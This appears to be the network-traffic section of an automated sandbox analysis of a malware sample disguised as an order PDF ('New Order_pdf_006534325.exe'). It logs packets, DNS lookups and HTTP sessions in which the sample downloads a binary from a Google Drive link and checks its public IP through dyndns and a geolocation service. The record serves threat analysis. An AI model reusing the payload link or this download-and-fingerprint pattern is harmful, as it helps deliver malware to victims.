Feb 5, 2025 12:52:18.441793919 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:18.441926003 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:18.446501970 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:18.446517944 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:18.446789026 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:18.446860075 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:18.451764107 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:18.495327950 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:20.999713898 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:20.999771118 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:20.999851942 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:20.999923944 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:20.999984026 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:20.999984980 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.014828920 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.015012026 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.015033007 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.015095949 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.090111971 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.090209007 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.090255022 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.090317011 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.090336084 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.090384960 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.090396881 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.090449095 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.090459108 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.090517998 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.095118999 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.095177889 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.095191956 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.095258951 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.101488113 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.101581097 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.101599932 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.101661921 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.107733965 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.107795954 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.107808113 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.107880116 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.113953114 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.114041090 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.114058971 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.114126921 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.119707108 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.119770050 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.119791985 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.119853973 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.125438929 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.125502110 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.125528097 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.125587940 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.131275892 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.131346941 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.131407976 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.131464958 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.136823893 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.136894941 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.136939049 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.137000084 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.142457962 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.142514944 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.142529011 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.142584085 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.148121119 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.148196936 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.180627108 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.180787086 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.180800915 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.180831909 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.180864096 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.180918932 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.180932999 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.181001902 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.181013107 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.181061983 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.181071997 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.181118011 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.181132078 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.181178093 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.181381941 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.181442976 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.181488037 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.181534052 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.186350107 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.186542988 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.186563015 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.186621904 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.192053080 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.192130089 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.192145109 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.192209959 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.192241907 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.192297935 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.197738886 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.197801113 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.197841883 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.197895050 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.203409910 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.203474998 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.203494072 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.203553915 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.209176064 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.209242105 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.209258080 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.209311008 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.214871883 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.214936018 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.214952946 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.215014935 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.220555067 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.220623016 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.220650911 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.220711946 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.226098061 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.226180077 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.226191998 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.226246119 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.231139898 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.231220007 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.231231928 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.231288910 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.235771894 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.235848904 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.235861063 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.235970020 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.240206003 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.240298033 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.240309954 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.240365982 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.244385004 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.244471073 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.244505882 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.244565964 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.248454094 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.248542070 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.248573065 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.248632908 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.248645067 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.248699903 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.252469063 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.252553940 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.252615929 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.252676964 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.252711058 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:21.252720118 CET	443	49709	216.58.206.65	192.168.2.8
Feb 5, 2025 12:52:21.252779961 CET	49709	443	192.168.2.8	216.58.206.65
Feb 5, 2025 12:52:22.015990019 CET	49710	80	192.168.2.8	132.226.8.169
Feb 5, 2025 12:52:22.020977020 CET	80	49710	132.226.8.169	192.168.2.8
Feb 5, 2025 12:52:22.021059990 CET	49710	80	192.168.2.8	132.226.8.169
Feb 5, 2025 12:52:22.024262905 CET	49710	80	192.168.2.8	132.226.8.169
Feb 5, 2025 12:52:22.029165030 CET	80	49710	132.226.8.169	192.168.2.8
Feb 5, 2025 12:52:23.373843908 CET	80	49710	132.226.8.169	192.168.2.8
Feb 5, 2025 12:52:23.406383991 CET	49710	80	192.168.2.8	132.226.8.169
Feb 5, 2025 12:52:23.411326885 CET	80	49710	132.226.8.169	192.168.2.8
Feb 5, 2025 12:52:23.689941883 CET	80	49710	132.226.8.169	192.168.2.8
Feb 5, 2025 12:52:23.701893091 CET	49711	443	192.168.2.8	104.21.48.1
Feb 5, 2025 12:52:23.701919079 CET	443	49711	104.21.48.1	192.168.2.8
Feb 5, 2025 12:52:23.701989889 CET	49711	443	192.168.2.8	104.21.48.1
Feb 5, 2025 12:52:23.704605103 CET	49711	443	192.168.2.8	104.21.48.1
Feb 5, 2025 12:52:23.704615116 CET	443	49711	104.21.48.1	192.168.2.8
Feb 5, 2025 12:52:23.736174107 CET	49710	80	192.168.2.8	132.226.8.169
Feb 5, 2025 12:52:24.184853077 CET	443	49711	104.21.48.1	192.168.2.8
Feb 5, 2025 12:52:24.184912920 CET	49711	443	192.168.2.8	104.21.48.1
Feb 5, 2025 12:52:24.188322067 CET	49711	443	192.168.2.8	104.21.48.1
Feb 5, 2025 12:52:24.188333988 CET	443	49711	104.21.48.1	192.168.2.8
Feb 5, 2025 12:52:24.188700914 CET	443	49711	104.21.48.1	192.168.2.8
Feb 5, 2025 12:52:24.192270994 CET	49711	443	192.168.2.8	104.21.48.1
Feb 5, 2025 12:52:24.239324093 CET	443	49711	104.21.48.1	192.168.2.8
Feb 5, 2025 12:52:24.332187891 CET	443	49711	104.21.48.1	192.168.2.8
Feb 5, 2025 12:52:24.332256079 CET	443	49711	104.21.48.1	192.168.2.8
Feb 5, 2025 12:52:24.332338095 CET	49711	443	192.168.2.8	104.21.48.1
Feb 5, 2025 12:52:24.455830097 CET	49711	443	192.168.2.8	104.21.48.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 5, 2025 12:52:16.504133940 CET	62712	53	192.168.2.8	1.1.1.1
Feb 5, 2025 12:52:16.511212111 CET	53	62712	1.1.1.1	192.168.2.8
Feb 5, 2025 12:52:17.683454037 CET	51735	53	192.168.2.8	1.1.1.1
Feb 5, 2025 12:52:17.690340042 CET	53	51735	1.1.1.1	192.168.2.8
Feb 5, 2025 12:52:22.000937939 CET	56755	53	192.168.2.8	1.1.1.1
Feb 5, 2025 12:52:22.008053064 CET	53	56755	1.1.1.1	192.168.2.8
Feb 5, 2025 12:52:23.691555023 CET	62706	53	192.168.2.8	1.1.1.1
Feb 5, 2025 12:52:23.701136112 CET	53	62706	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 5, 2025 12:52:16.504133940 CET	192.168.2.8	1.1.1.1	0x759b	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Feb 5, 2025 12:52:17.683454037 CET	192.168.2.8	1.1.1.1	0x1b25	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Feb 5, 2025 12:52:22.000937939 CET	192.168.2.8	1.1.1.1	0x1d09	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Feb 5, 2025 12:52:23.691555023 CET	192.168.2.8	1.1.1.1	0x495f	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Feb 5, 2025 12:52:16.511212111 CET	1.1.1.1	192.168.2.8	0x759b	No error (0)	drive.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Feb 5, 2025 12:52:17.690340042 CET	1.1.1.1	192.168.2.8	0x1b25	No error (0)	drive.usercontent.google.com		216.58.206.65	A (IP address)	IN (0x0001)	false
Feb 5, 2025 12:52:22.008053064 CET	1.1.1.1	192.168.2.8	0x1d09	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 5, 2025 12:52:22.008053064 CET	1.1.1.1	192.168.2.8	0x1d09	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Feb 5, 2025 12:52:22.008053064 CET	1.1.1.1	192.168.2.8	0x1d09	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Feb 5, 2025 12:52:22.008053064 CET	1.1.1.1	192.168.2.8	0x1d09	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Feb 5, 2025 12:52:22.008053064 CET	1.1.1.1	192.168.2.8	0x1d09	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Feb 5, 2025 12:52:22.008053064 CET	1.1.1.1	192.168.2.8	0x1d09	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Feb 5, 2025 12:52:23.701136112 CET	1.1.1.1	192.168.2.8	0x495f	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Feb 5, 2025 12:52:23.701136112 CET	1.1.1.1	192.168.2.8	0x495f	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Feb 5, 2025 12:52:23.701136112 CET	1.1.1.1	192.168.2.8	0x495f	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Feb 5, 2025 12:52:23.701136112 CET	1.1.1.1	192.168.2.8	0x495f	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Feb 5, 2025 12:52:23.701136112 CET	1.1.1.1	192.168.2.8	0x495f	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Feb 5, 2025 12:52:23.701136112 CET	1.1.1.1	192.168.2.8	0x495f	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Feb 5, 2025 12:52:23.701136112 CET	1.1.1.1	192.168.2.8	0x495f	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49710	132.226.8.169	80	7848	C:\Users\user\Desktop\New Order_pdf_006534325.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2025 12:52:22.024262905 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Feb 5, 2025 12:52:23.373843908 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 05 Feb 2025 11:52:23 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Feb 5, 2025 12:52:23.406383991 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Feb 5, 2025 12:52:23.689941883 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 05 Feb 2025 11:52:23 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49708	216.58.206.78	443	7848	C:\Users\user\Desktop\New Order_pdf_006534325.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-05 11:52:17 UTC	216	OUT	GET /uc?export=download&id=18FEodf-cGefGJVjg2W0d7m-ZN2vR5i6C HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache
2025-02-05 11:52:17 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 05 Feb 2025 11:52:17 GMT Location: https://drive.usercontent.google.com/download?id=18FEodf-cGefGJVjg2W0d7m-ZN2vR5i6C&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-Bc--mgrinItcSC43E1ID6w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49709	216.58.206.65	443	7848	C:\Users\user\Desktop\New Order_pdf_006534325.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-05 11:52:18 UTC	258	OUT	GET /download?id=18FEodf-cGefGJVjg2W0d7m-ZN2vR5i6C&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-02-05 11:52:20 UTC	4940	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AHMx-iEz-PEq2Whk6U-Tg17LspN7BpRQ3KyFCq-ZCtYq0Vg2MknBhkdupDrNfr7YbC10LuT6NwGiOAw Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="MBpaCUiPoInG9.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 94784 Last-Modified: Wed, 05 Feb 2025 06:39:16 GMT Date: Wed, 05 Feb 2025 11:52:20 GMT Expires: Wed, 05 Feb 2025 11:52:20 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=Q7vZaw== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-02-05 11:52:20 UTC	4940	IN	Data Raw: 82 06 07 99 65 49 63 ba 3f 35 d1 e8 79 0c 5e c4 0c fd 3a 84 6a b4 7d 0a 21 fd d5 2e 30 f1 04 ad 52 fd ab 4e 83 42 ca 4b 87 25 5e 92 f2 dd c1 87 98 ab fc b6 68 c8 68 17 37 5e 8f c5 42 07 74 9f 54 7e 85 7b 0e ad 94 66 28 77 16 57 44 b6 5d 8d 05 8b d0 48 c6 b0 3f f1 ec e3 98 d3 50 fc 9e 15 5c 8e ca 92 d1 49 ee 25 27 f8 6e 1c 8d 69 e2 4e c4 f6 3a 5f 1a a5 78 bf 10 e4 d6 bf 58 2f 1d cc 4f 0a bb b0 4e 87 92 65 91 b1 89 3c 30 e0 85 7b 18 ba d1 4b 3c 01 37 ea 8b 33 4c 66 87 1e 80 18 88 10 f7 a4 c0 b9 ef 37 0d b6 22 48 a8 bc be 59 71 5a ab 9a a2 d0 fd 10 5b 16 2d ef 1f 9e dc 66 1f 20 f8 e3 3b 6f f8 50 ba 40 12 c8 37 17 a0 db 52 d1 de 61 6c 67 12 0d 81 1a 8c 04 66 3b 21 8d cf 5b 44 de be e8 12 73 5c 4a 3e e4 e6 aa 10 56 1e 99 d5 b6 28 68 e0 18 24 b4 8b d6 71 28 c8 Data Ascii: eIc?5y^:j}!.0RNBK%^hh7^BtT~{f(wWD]H?P\I%'niN:_xX/ONe<0{K<73Lf7"HYqZ[-f ;oP@7Ralgf;![Ds\J>V(h$q(
2025-02-05 11:52:21 UTC	4818	IN	Data Raw: 78 f9 cf 03 6d 35 ca d9 3d 26 e7 19 6f 53 62 25 cb 17 a0 5e 64 0a 45 8c 84 9d 5f 44 4f a2 f4 f8 f6 49 09 97 e9 1b 28 fc 11 14 96 28 dc ef 89 cf 26 02 23 37 2a bc f1 e3 8b 7f 9e 9e 2b 70 f2 6a 95 9c e9 5d 40 16 e1 1a a0 ef f0 14 f6 33 fd 50 87 5e 29 4e 4b b7 6f 37 47 8a e2 98 bc 9c dd 1e ec d8 78 0c ce 43 4f 8d 8e d9 be bf 6b da 1c f7 f9 77 61 6b da 7e 7a da de ef 6b ae fe d1 e3 0f 55 cc 45 10 99 10 2e 91 9b e7 d8 60 8c 5e 52 da d6 d2 42 78 c7 6e 05 ed c2 ad e6 e1 1f 97 e7 74 30 03 7e 84 e8 0d 21 74 c6 d6 13 59 1b d6 c2 c9 a2 65 c2 b6 5f 66 8b 1d 9d 82 62 23 6a 5c 8d f0 b2 ab 46 6d 87 c2 a5 f1 8f 8d 89 3e 91 7b 72 fa 0b de 4d 50 97 54 91 31 00 77 d7 12 0a 24 48 be f8 94 c5 c6 52 05 fe a3 22 59 a4 9e a2 27 18 9e b3 c2 d3 9d ef 17 a3 e5 05 9a e2 73 60 66 d1 Data Ascii: 